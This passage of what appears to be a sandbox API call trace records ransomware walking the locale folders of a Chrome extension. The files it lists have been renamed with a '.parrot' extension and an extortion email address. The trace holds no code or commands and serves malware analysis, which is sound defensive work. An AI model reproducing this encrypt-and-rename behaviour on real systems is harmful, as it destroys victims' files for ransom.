fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.009] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.009] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.009] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.010] CloseHandle (hObject=0x274) returned 1 [0097.010] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.010] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb3f448a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb3f448a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.010] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb3ed2480, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.010] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.010] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.010] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.010] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.011] CloseHandle (hObject=0x274) returned 1 [0097.011] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.011] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb40e77c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb40e77c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.011] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb3f6aa00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.011] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.012] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.012] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.012] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.013] CloseHandle (hObject=0x274) returned 1 [0097.013] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.013] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb410d920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb410d920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.013] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb410d920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.013] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.013] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.013] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.013] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.014] CloseHandle (hObject=0x274) returned 1 [0097.014] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.014] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4133a80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4133a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.014] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4133a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.014] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.015] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.015] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.015] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.015] CloseHandle (hObject=0x274) returned 1 [0097.016] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.016] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb41f2160, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb41f2160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.016] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb41f2160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.016] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.016] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.016] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.016] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.063] CloseHandle (hObject=0x274) returned 1 [0097.063] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.063] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb42182c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb42182c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.063] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb42182c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.063] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.064] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.064] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.064] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.065] CloseHandle (hObject=0x274) returned 1 [0097.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.065] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb44798c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb44798c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.065] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb44798c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.065] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.065] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.065] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.065] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.066] CloseHandle (hObject=0x274) returned 1 [0097.066] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.066] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb449fa20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb449fa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.066] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb449fa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.067] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.067] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.067] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.068] CloseHandle (hObject=0x274) returned 1 [0097.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.068] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb449fa20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb449fa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.068] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb449fa20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.068] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.068] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.068] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.069] CloseHandle (hObject=0x274) returned 1 [0097.069] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.069] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4511e40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4511e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.069] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4511e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0097.069] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.069] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0097.070] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.070] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0097.071] CloseHandle (hObject=0x274) returned 1 [0097.071] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0097.071] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb4511e40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb4511e40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.071] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb4511e40, 